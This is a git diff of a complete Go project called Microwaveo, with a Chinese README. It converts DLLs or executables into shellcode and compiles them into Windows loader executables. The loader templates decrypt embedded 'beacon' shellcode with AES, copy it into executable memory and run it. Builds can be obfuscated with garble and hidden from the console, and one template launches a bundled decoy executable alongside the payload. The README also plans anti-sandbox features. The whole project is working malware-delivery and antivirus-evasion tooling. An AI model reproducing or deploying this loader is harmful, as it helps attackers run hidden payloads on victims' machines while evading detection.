diff --git a/README.md b/README.md new file mode 100644 index 0000000..0ee4ede --- /dev/null +++ b/README.md @@ -0,0 +1,56 @@ +# Microwaveo + +一个小工具 微波炉加热一下dll + +1. 调用 go-donut 将dll/exe等转为shellcode +2. 使用go模板构建shellcode的加载器 最后输出exe +3. 也支持直接传入shellcode来构建最后的exe +4. 最后的exe支持 garble混淆 + +## 注意 +**因为是使用go 构建exe所以需要go的环境** + +## 使用 + +编译好的文件可以直接在 在这里 [releases](https://github.com/Ciyfly/microwaveo/releases) 下载 当然可以自己编译 + +```shell +./microwaveo --help +GLOBAL OPTIONS: + --arch value, -a value shellcode arch x32 x64 x84 default x64 (default: "x64") + --encrypt value, -e value encrypt the generated exe support aes default aes (default: "aes") + --funcname value, --fn value dll func name + --help, -h show help (default: false) + --input value, -i value input file dll/exe/shellcode + --obfuscate, --of obfuscate the generated exe using garble (default: false) + --shellcodeFormat value, -s value output shellcode format hex bin default bin (default: "bin") + --version, -v print the version (default: false) + --white value, -w value bundled white files file path +``` + +### 将dll转为exe + +```shell +./microwaveo -i recar.dll -fn RunRecar +``` + +### 将exe控制为32位 +``` +./microwaveo -i recar.dll -fn RunRecar -a x32 +``` + +### 使用garble混淆最后的exe +``` +./microwaveo -i recar.dll -fn RunRecar --of +``` +需要安装 garble +最简单的安装 使用 `go install mvdan.cc/garble@latest` 最后配置环境变量 + + +## TODO + +1. 思考是不是可以将加载器做成多个模板的形式来处理 +2. 增加一些反沙箱的东西 +3. 待定 有任何想法欢迎与我交流 + + diff --git a/cmd/microwaveo.go b/cmd/microwaveo.go new file mode 100644 index 0000000..8bb971f --- /dev/null +++ b/cmd/microwaveo.go @@ -0,0 +1,119 @@ +package main + +import ( + "fmt" + "microwaveo/conf" + "microwaveo/pkg/cupboard" + "microwaveo/pkg/logger" + "microwaveo/pkg/utils" + "os" + "os/signal" + "syscall" + + "github.com/urfave/cli/v2" +) + +func SetupCloseHandler() { + c := make(chan os.Signal) + signal.Notify(c, syscall.SIGHUP, syscall.SIGINT, syscall.SIGTERM, syscall.SIGQUIT, os.Interrupt, os.Kill, syscall.SIGKILL) + go func() { + s := <-c + fmt.Println(fmt.Sprintf("recv signal: %d", s)) + fmt.Println("ctrl+c exit") + os.Exit(0) + }() +} + +func init() { + logger.Init() + conf.Init() +} +func main() { + SetupCloseHandler() + app := cli.NewApp() + app.Name = "mcrowaveo" + app.Usage = "mcrowaveo -i test.dll " + app.Version = "0.1" + app.Flags = []cli.Flag{ + &cli.StringFlag{ + Name: "input", + Aliases: []string{"i"}, + Usage: "input file dll/exe/shellcode", + }, + &cli.StringFlag{ + Name: "arch", + Aliases: []string{"a"}, + Value: "x64", + Usage: "shellcode arch x32 x64 x84 default x64", + }, + &cli.StringFlag{ + Name: "funcname", + Aliases: []string{"fn"}, + Usage: "dll func name", + }, + &cli.StringFlag{ + Name: "shellcodeFormat", + Aliases: []string{"s"}, + Value: "bin", + Usage: "output shellcode format hex bin default bin", + }, + &cli.BoolFlag{ + Name: "obfuscate", + Aliases: []string{"of"}, + Usage: "obfuscate the generated exe using garble", + }, + //encrypt + &cli.StringFlag{ + Name: "encrypt", + Aliases: []string{"e"}, + Value: "aes", + Usage: "encrypt the generated exe support aes default aes", + }, + &cli.StringFlag{ + Name: "white", + Aliases: []string{"w"}, + Usage: "bundled white files file path", + }, + } + app.Action = RunMain + + err := app.Run(os.Args) + if err != nil { + logger.Fatalf("cli.RunApp err: %s", err.Error()) + return + } +} + +func RunMain(c *cli.Context) error { + + input := c.String("input") + white := c.String("white") + arch := c.String("arch") + funcName := c.String("funcname") + obfuscate := c.Bool("obfuscate") + encrypt := c.String("encrypt") + shellcodeFormat := c.String("shellcodeFormat") + if input == "" { + logger.Fatal("You need to enter the dll exe shellcode file path specified by -i") + os.Exit(-1) + } + if utils.FileIsExist(input) == false { + logger.Fatal("input file not exist") + os.Exit(-1) + } + args := &cupboard.Cmdargs{ + Input: input, + Arch: arch, + FuncName: funcName, + ShellcodeFormat: shellcodeFormat, + White: white, + Obfuscate: obfuscate, + Encrypt: encrypt, + } + conf.EnvironmentalTestGo() + if obfuscate { + conf.EnvironmentalTestGarble() + } + cupboard.Build(args) + return nil +} diff --git a/conf/conf.go b/conf/conf.go new file mode 100644 index 0000000..0ecc773 --- /dev/null +++ b/conf/conf.go @@ -0,0 +1,65 @@ +package conf + +import ( + _ "embed" + "fmt" + "io/ioutil" + "microwaveo/pkg/utils" + "os" + "os/exec" + "path" +) + +//go:embed template/template.tmpl +var t []byte + +//go:embed template/template_aes.tmpl +var tAes []byte + +//go:embed template/template_aes_white.tmpl +var tAesWhite []byte + +func initDir(p string) { + if !utils.FileIsExist(p) { + os.Mkdir(p, 0666) + } +} + +func initTemplate(tName string, content []byte) { + tmplPath := path.Join(utils.GetCurrentDirectory(), "conf", "template", tName) + if !utils.FileIsExist(tmplPath) { + ioutil.WriteFile(tmplPath, content, 0666) + } +} + +func Init() { + confParh := path.Join(utils.GetCurrentDirectory(), "conf") + initDir(confParh) + templateParh := path.Join(confParh, "template") + initDir(templateParh) + staticPath := path.Join(templateParh, "static") + initDir(staticPath) + // template + initTemplate("template.tmpl", t) + initTemplate("template_aes.tmpl", tAes) + initTemplate("template_aes_white.tmpl", tAesWhite) +} + +func EnvironmentalTestGo() { + // 需要go 环境 还有garble + goCmd := exec.Command("go", "version") + goErr := goCmd.Run() + if goErr != nil { + fmt.Println("you need to install go for build exe: https://studygolang.com/dl") + os.Exit(-1) + } +} + +func EnvironmentalTestGarble() { + garbleCmd := exec.Command("garble", "version") + garbleErr := garbleCmd.Run() + if garbleErr != nil { + fmt.Println("You need to install garble for compilation: go install mvdan.cc/garble@latest") + os.Exit(-1) + } +} diff --git a/conf/template/template.tmpl b/conf/template/template.tmpl new file mode 100644 index 0000000..9fcdd37 --- /dev/null +++ b/conf/template/template.tmpl @@ -0,0 +1,45 @@ +package main + +import ( + _ "embed" + "syscall" + "unsafe" +) + +//go:embed static/tmp.bin +var beacon []byte + +// shellcode +const ( + MEM_COMMIT = 0x1000 + MEM_RESERVE = 0x2000 + PAGE_EXECUTE_READWRITE = 0x40 + KEY_1 = 55 + KEY_2 = 66 +) + +var ( + kernel32 = syscall.MustLoadDLL("kernel32.dll") + ntdll = syscall.MustLoadDLL("ntdll.dll") + VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") + RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") +) + +func Run(shellcodeBeacon []byte) { + addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcodeBeacon)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) // 为shellcode申请内存空间 + _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcodeBeacon[0])), uintptr(len(shellcodeBeacon))) // 将shellcode内存复制到申请出来的内存空间中 + syscall.Syscall(addr, 0, 0, 0, 0) +} + +func shellcoeRun(code []byte) { + Run(code) +} + +func main() { + defer func() { + if v := recover(); v != nil { + return + } + }() + shellcoeRun(beacon) +} diff --git a/conf/template/template_aes.tmpl b/conf/template/template_aes.tmpl new file mode 100644 index 0000000..65e113f --- /dev/null +++ b/conf/template/template_aes.tmpl @@ -0,0 +1,78 @@ +package main + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + _ "embed" + "syscall" + "unsafe" +) + +//go:embed static/tmp.bin +var beacon []byte + + +// shellcode +const ( + MEM_COMMIT = 0x1000 + MEM_RESERVE = 0x2000 + PAGE_EXECUTE_READWRITE = 0x40 + KEY_1 = 55 + KEY_2 = 66 +) + +var ( + kernel32 = syscall.MustLoadDLL("kernel32.dll") + ntdll = syscall.MustLoadDLL("ntdll.dll") + VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") + RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") +) + +func Run(shellcodeBeacon []byte) { + addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcodeBeacon)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) // 为shellcode申请内存空间 + _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcodeBeacon[0])), uintptr(len(shellcodeBeacon))) // 将shellcode内存复制到申请出来的内存空间中 + syscall.Syscall(addr, 0, 0, 0, 0) +} + +func PKCS7Padding(ciphertext []byte, blockSize int) []byte { + padding := blockSize - len(ciphertext)%blockSize + padtext := bytes.Repeat([]byte{byte(padding)}, padding) + return append(ciphertext, padtext...) +} + +func PKCS7UnPadding(origData []byte) []byte { + length := len(origData) + unpadding := int(origData[length-1]) + return origData[:(length - unpadding)] +} + +//AES解密 +func AesDecrypt(crypted, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + blockSize := block.BlockSize() + blockMode := cipher.NewCBCDecrypter(block, key[:blockSize]) + origData := make([]byte, len(crypted)) + blockMode.CryptBlocks(origData, crypted) + origData = PKCS7UnPadding(origData) + return origData, nil +} + +func shellcoeRun(encrypteds []byte, aesKey string) { + origin, _ := AesDecrypt(encrypteds, []byte(aesKey)) + Run([]byte(origin)) +} + +func main() { + defer func() { + if v := recover(); v != nil { + return + } + }() + // shellcode + key := "{{.AesKey}}" + shellcoeRun(beacon, key) +} \ No newline at end of file diff --git a/conf/template/template_aes_white.tmpl b/conf/template/template_aes_white.tmpl new file mode 100644 index 0000000..4daa13a --- /dev/null +++ b/conf/template/template_aes_white.tmpl @@ -0,0 +1,99 @@ +package main + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + _ "embed" + "io/ioutil" + "os" + "os/exec" + "path" + "sync" + "syscall" + "unsafe" +) + +//go:embed static/tmp.bin +var beacon []byte + +//go:embed static/white.exe +var whiteFile string + +func execCmd(command string) { + // cmd := exec.Command("cmd.exe", "/c", "start", command) + cmd := exec.Command("cmd.exe", "/c", "start", command) + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + cmd.Start() +} + +// shellcode +const ( + MEM_COMMIT = 0x1000 + MEM_RESERVE = 0x2000 + PAGE_EXECUTE_READWRITE = 0x40 + KEY_1 = 55 + KEY_2 = 66 +) + +var ( + kernel32 = syscall.MustLoadDLL("kernel32.dll") + ntdll = syscall.MustLoadDLL("ntdll.dll") + VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") + RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") +) + +func Run(shellcodeBeacon []byte) { + addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcodeBeacon)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) // 为shellcode申请内存空间 + _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcodeBeacon[0])), uintptr(len(shellcodeBeacon))) // 将shellcode内存复制到申请出来的内存空间中 + syscall.Syscall(addr, 0, 0, 0, 0) +} + +func PKCS7Padding(ciphertext []byte, blockSize int) []byte { + padding := blockSize - len(ciphertext)%blockSize + padtext := bytes.Repeat([]byte{byte(padding)}, padding) + return append(ciphertext, padtext...) +} + +func PKCS7UnPadding(origData []byte) []byte { + length := len(origData) + unpadding := int(origData[length-1]) + return origData[:(length - unpadding)] +} + +//AES解密 +func AesDecrypt(crypted, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + blockSize := block.BlockSize() + blockMode := cipher.NewCBCDecrypter(block, key[:blockSize]) + origData := make([]byte, len(crypted)) + blockMode.CryptBlocks(origData, crypted) + origData = PKCS7UnPadding(origData) + return origData, nil +} + +func shellcoeRun(encrypteds []byte, aesKey string) { + origin, _ := AesDecrypt(encrypteds, []byte(aesKey)) + Run([]byte(origin)) +} + +func main() { + var wg = sync.WaitGroup{} + wg.Add(2) + go func() { + // shellcode + defer wg.Done() + key := "{{.AesKey}}" + shellcoeRun(beacon, key) + }() + go func() { + defer wg.Done() + whitePath := path.Join(os.TempDir(), "white.exe") + ioutil.WriteFile(whitePath, []byte(whiteFile), 0666) + execCmd(whitePath) + }() + wg.Wait() +} \ No newline at end of file diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..356ba63 --- /dev/null +++ b/go.mod @@ -0,0 +1,16 @@ +module microwaveo + +go 1.18 + +require ( + github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e + github.com/urfave/cli/v2 v2.14.1 +) + +require ( + github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf // indirect + github.com/cpuguy83/go-md2man/v2 v2.0.2 // indirect + github.com/google/uuid v1.2.0 // indirect + github.com/russross/blackfriday/v2 v2.1.0 // indirect + github.com/xrash/smetrics v0.0.0-20201216005158-039620a65673 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..db0ac8e --- /dev/null +++ b/go.sum @@ -0,0 +1,15 @@ +github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf h1:Cx4YJvjPZD91xiffqJOq8l3j1YKcvx3+8duqq7DX9gY= +github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ= +github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o= +github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw= +github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA= +github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w= +github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= +github.com/google/uuid v1.2.0 h1:qJYtXnJRWmpe7m/3XlyhrsLrEURqHRM2kxzoxXqyUDs= +github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/urfave/cli/v2 v2.14.1 h1:0Sx+C9404t2+DPuIJ3UpZFOEFhNG3wPxMj7uZHyZKFA= +github.com/urfave/cli/v2 v2.14.1/go.mod h1:1CNUng3PtjQMtRzJO4FMXBQvkGtuYRxxiR9xMa7jMwI= +github.com/xrash/smetrics v0.0.0-20201216005158-039620a65673 h1:bAn7/zixMGCfxrRTfdpNzjtPYqr8smhKouy9mxVdGPU= +github.com/xrash/smetrics v0.0.0-20201216005158-039620a65673/go.mod h1:N3UwUGtsrSj3ccvlPHLoLsHnpR27oXr4ZE984MbSER8= diff --git a/pkg/cupboard/cupboard.go b/pkg/cupboard/cupboard.go new file mode 100644 index 0000000..6e12de3 --- /dev/null +++ b/pkg/cupboard/cupboard.go @@ -0,0 +1,93 @@ +package cupboard + +import ( + "io/ioutil" + "microwaveo/pkg/file2shellcode" + "microwaveo/pkg/loader" + "microwaveo/pkg/logger" + "microwaveo/pkg/utils" + "os" + "path" + "strings" +) + +type Cmdargs struct { + Input string + White string + Arch string + FuncName string + ShellcodeFormat string + Obfuscate bool + Encrypt string +} + +func Build(args *Cmdargs) { + // 生成shellcode + var shellcodeOutputpath string + tv := &loader.TmplValue{} + fileNameWithSuffix := path.Base(args.Input) + fileType := path.Ext(fileNameWithSuffix) + fileNameOnly := strings.TrimSuffix(fileNameWithSuffix, fileType) + tv.FileName = fileNameOnly + logger.Printf("We use microwave to heat %s ", fileNameWithSuffix) + if fileType == ".dll" && args.FuncName == "" { + logger.Fatal("input is dll, you need to specify -fn") + os.Exit(-1) + } + if fileType == ".exe" || fileType == ".dll" || fileType == ".vbs" || fileType == ".js" || fileType == ".xsl" { + shellcodeBuffer, err := file2shellcode.Build(args.Input, args.Arch, args.FuncName, args.ShellcodeFormat) + if err != nil { + logger.Fatalf("build shellcode error: %s", err.Error()) + } + shellcodeOutputpath = path.Join(utils.GetCurrentDirectory(), fileNameOnly+"."+args.ShellcodeFormat) + f, err := os.Create(shellcodeOutputpath) + if err != nil { + logger.Fatalf("os create shellcode outpath error: %s,%s", err.Error(), shellcodeOutputpath) + } + defer f.Close() + if _, err = shellcodeBuffer.WriteTo(f); err != nil { + logger.Fatalf("write shellcode error: %s", err.Error()) + } + logger.Printf("generated shellcode: %s", shellcodeOutputpath) + } + // shellcode 通过加载器生成exe + if fileType == ".bin" { + logger.Print("use input shellcode compline") + shellcodeOutputpath = args.Input + } + dstShellcodePath := path.Join(utils.GetCurrentDirectory(), "conf", "template", "static", "tmp.bin") + // 如果开启了加密 需要对shellcode进行加密 + if args.Encrypt == "aes" { + // 生成随机key + key := utils.RandLetters(32) + tv.AesKey = key + shellcodeData, err := ioutil.ReadFile(shellcodeOutputpath) + if err != nil { + logger.Fatalf("read shellcode bin error: %s", err.Error()) + } + aesShellcodeData, err := utils.AesEncrypt(shellcodeData, []byte(key)) + if err != nil { + logger.Fatalf("encrypt shellcode bin error: %s", err.Error()) + } + ioutil.WriteFile(dstShellcodePath, aesShellcodeData, 0666) + + } else { + err := utils.CopyFile(shellcodeOutputpath, dstShellcodePath) + if err != nil { + logger.Fatalf("copy shellcode bin error: %s", err.Error()) + } + } + // 白文件处理 + if args.White != "" { + dstWhitePath := path.Join(utils.GetCurrentDirectory(), "conf", "template", "static", "white.exe") + err := utils.CopyFile(args.White, dstWhitePath) + if err != nil { + logger.Fatalf("copy white file error: %s", err.Error()) + } + } + tv.Encrypt = args.Encrypt + tv.Obfuscate = args.Obfuscate + tv.White = args.White + tv.Arch = args.Arch + loader.Build(*tv) +} diff --git a/pkg/file2shellcode/file2shellcode.go b/pkg/file2shellcode/file2shellcode.go new file mode 100644 index 0000000..c7a5815 --- /dev/null +++ b/pkg/file2shellcode/file2shellcode.go @@ -0,0 +1,44 @@ +package file2shellcode + +import ( + "bytes" + + "github.com/Binject/go-donut/donut" +) + +var donutArch donut.DonutArch + +func Build(filePath string, arch string, moduleName string, format string) (*bytes.Buffer, error) { + switch arch { + case "x32", "386": + donutArch = donut.X32 + case "x64", "amd64": + donutArch = donut.X64 + case "x84": + donutArch = donut.X84 + } + config := new(donut.DonutConfig) + config.Arch = donutArch + config.Entropy = uint32(3) + config.OEP = uint64(0) + config.InstType = donut.DONUT_INSTANCE_PIC + config.Parameters = "" + config.Runtime = "" + config.URL = "" + config.Class = "" + config.Method = "" + config.Domain = "" + config.Bypass = 3 + config.Method = moduleName + config.Compress = uint32(1) + config.Verbose = false + config.ExitOpt = uint32(1) + if format == "hex" { + config.Format = uint32(8) + } else { + config.Format = uint32(1) + } + // run + return donut.ShellcodeFromFile(filePath, config) + +} diff --git a/pkg/loader/loader.go b/pkg/loader/loader.go new file mode 100644 index 0000000..ceca1f0 --- /dev/null +++ b/pkg/loader/loader.go @@ -0,0 +1,102 @@ +package loader + +import ( + "context" + "fmt" + "io/ioutil" + "microwaveo/pkg/logger" + "microwaveo/pkg/utils" + "os" + "os/exec" + "path" + "strings" + "text/template" + "time" +) + +type TmplValue struct { + FileName string + Obfuscate bool + Encrypt string + AesKey string + White string + Arch string +} + +func Build(tv TmplValue) { + var tmplPath string + goCodeDir := path.Join(utils.GetCurrentDirectory(), "conf", "template") + if tv.Encrypt == "aes" { + tmplPath = path.Join(goCodeDir, "template_aes.tmpl") + } else { + tmplPath = path.Join(goCodeDir, "template.tmpl") + } + if tv.White != "" { + tmplPath = path.Join(goCodeDir, "template_aes_white.tmpl") + } + logger.Printf("use loader tmpl: %s", tmplPath) + goCodePath := path.Join(goCodeDir, "tmp.go") + outputpath := path.Join(utils.GetCurrentDirectory(), tv.FileName+".exe") + tpl, err := template.ParseFiles(tmplPath) + + if err != nil { + logger.Fatalf("parse tmpl error: %s", err.Error()) + } + if utils.FileIsExist(goCodePath) { + os.Remove(goCodePath) + } + f, err := os.Create(goCodePath) + if err != nil { + logger.Fatalf("os create exe error: %s,%s", err.Error(), goCodePath) + } + tpl.Execute(f, tv) + // f.Close() + f.Close() + time.Sleep(2 * time.Second) + + // go build tmpl + var cmd *exec.Cmd + ctx, cancelFunc := context.WithTimeout(context.Background(), time.Duration(60)*time.Second) + cmd = exec.CommandContext(ctx, "go", "build", "-ldflags", "-s -w -H windowsgui", "-o", outputpath, goCodePath) + + // 如果开启了混淆使用 garble来build + if tv.Obfuscate { + logger.Print("use garble build exe, It will take a long time, please wait") + cmd = exec.CommandContext(ctx, "garble", "build", "-ldflags", "-s -w -H windowsgui", "-o", outputpath, goCodePath) + } + closer, err := cmd.StdoutPipe() + defer func() { + cancelFunc() + _ = closer.Close() + _ = cmd.Wait() + }() + cmd.Dir = goCodeDir + // arch env + var arch = "amd64" + if tv.Arch == "x32" { + arch = "386" + } + logger.Printf("arch: %s", arch) + cmd.Env = append(os.Environ(), fmt.Sprintf("GOARCH=%s", arch)) + // windows + cmd.Env = append(cmd.Env, fmt.Sprintf("GOOS=%s", "windows")) + cmd.Env = append(cmd.Env, fmt.Sprintf("CGO_ENABLED=%s", "0")) + + err = cmd.Start() + if err != nil { + logger.Fatalf("go build to exe error: %s", err.Error()) + } + bytes, err := ioutil.ReadAll(closer) + if err != nil { + logger.Fatal("go build to exe error") + } + if string(bytes) != "" { + logger.Printf("build tmpl error %s", strings.TrimSpace(string(bytes))) + } + err = os.Remove(goCodePath) + if utils.FileIsExist(outputpath) { + logger.Printf("generated exe: %s", outputpath) + } else { + logger.Printf("Generated exe error Could be a template or environment issue") + } +} diff --git a/pkg/logger/logger.go b/pkg/logger/logger.go new file mode 100644 index 0000000..771dee8 --- /dev/null +++ b/pkg/logger/logger.go @@ -0,0 +1,29 @@ +package logger + +import ( + "fmt" + "log" + "os" +) + +var mlog *log.Logger + +func Init() { + mlog = log.New(os.Stdout, "[mcrowaveo] ", log.LstdFlags) +} + +func Printf(format string, args ...interface{}) { + mlog.Println(fmt.Sprintf(format, args...)) +} + +func Print(p string) { + mlog.Println(p) +} + +func Fatalf(format string, args ...interface{}) { + mlog.Fatal(fmt.Sprintf(format, args...)) +} + +func Fatal(f string) { + mlog.Fatal(f) +} diff --git a/pkg/utils/aes.go b/pkg/utils/aes.go new file mode 100644 index 0000000..7d231c6 --- /dev/null +++ b/pkg/utils/aes.go @@ -0,0 +1,51 @@ +package utils + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" +) + +func PKCS7Padding(ciphertext []byte, blockSize int) []byte { + padding := blockSize - len(ciphertext)%blockSize + padtext := bytes.Repeat([]byte{byte(padding)}, padding) + return append(ciphertext, padtext...) +} + +func PKCS7UnPadding(origData []byte) []byte { + length := len(origData) + unpadding := int(origData[length-1]) + return origData[:(length - unpadding)] +} + +//AES加密,CBC +func AesEncrypt(origData, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + blockSize := block.BlockSize() + origData = PKCS7Padding(origData, blockSize) + blockMode := cipher.NewCBCEncrypter(block, key[:blockSize]) + crypted := make([]byte, len(origData)) + blockMode.CryptBlocks(crypted, origData) + return crypted, nil +} + +//AES解密 +func AesDecrypt(crypted, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + blockSize := block.BlockSize() + blockMode := cipher.NewCBCDecrypter(block, key[:blockSize]) + origData := make([]byte, len(crypted)) + blockMode.CryptBlocks(origData, crypted) + origData = PKCS7UnPadding(origData) + return origData, nil +} + +func EncryptFile(srcPath, dstPath, key string) { + +} diff --git a/pkg/utils/rand.go b/pkg/utils/rand.go new file mode 100644 index 0000000..2f185b8 --- /dev/null +++ b/pkg/utils/rand.go @@ -0,0 +1,50 @@ +package utils + +import ( + "math/rand" + "time" +) + +const letterBytes = "abcdefghijklmnopqrstuvwxyz" +const letterNumberBytes = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" +const lowletterNumberBytes = "0123456789abcdefghijklmnopqrstuvwxyz" +const ( + letterIdxBits = 6 // 6 bits to represent a letter index + letterIdxMask = 1<= 0; { + if remain == 0 { + cache, remain = r.Int63(), letterIdxMax + } + if idx := int(cache & letterIdxMask); idx < len(choices) { + b[i] = choices[idx] + i-- + } + cache >>= letterIdxBits + remain-- + } + + return string(b) +} + +// RandLetters 随机小写字母 +func RandLetters(n int) string { + return RandFromChoices(n, letterBytes) +} + +// RandLetterNumbers 随机大小写字母和数字 +func RandLetterNumbers(n int) string { + return RandFromChoices(n, letterNumberBytes) +} + +// RandLowLetterNumber 随机小写字母和数字 +func RandLowLetterNumber(n int) string { + return RandFromChoices(n, lowletterNumberBytes) +} diff --git a/pkg/utils/utils.go b/pkg/utils/utils.go new file mode 100644 index 0000000..ba8937f --- /dev/null +++ b/pkg/utils/utils.go @@ -0,0 +1,46 @@ +package utils + +import ( + "fmt" + "io" + "os" + "path/filepath" + "strings" +) + +func FileIsExist(filePath string) bool { + _, err := os.Stat(filePath) + if err == nil { + return true + } + if os.IsNotExist(err) { + return false + } + return false +} + +func GetCurrentDirectory() string { + dir, err := filepath.Abs(filepath.Dir(os.Args[0])) + if err != nil { + fmt.Println(fmt.Sprintf("GetCurrentDirectory: %s", err)) + } + return strings.Replace(dir, "\\", "/", -1) +} + +func CopyFile(srcPath, dstPath string) error { + file1, err1 := os.Open(srcPath) + if err1 != nil { + return err1 + } + file2, err2 := os.OpenFile(dstPath, os.O_RDWR|os.O_CREATE, os.ModePerm) + if err2 != nil { + return err2 + } + defer file1.Close() + defer file2.Close() + _, err3 := io.Copy(file2, file1) + if err3 != nil { + return err3 + } + return nil +}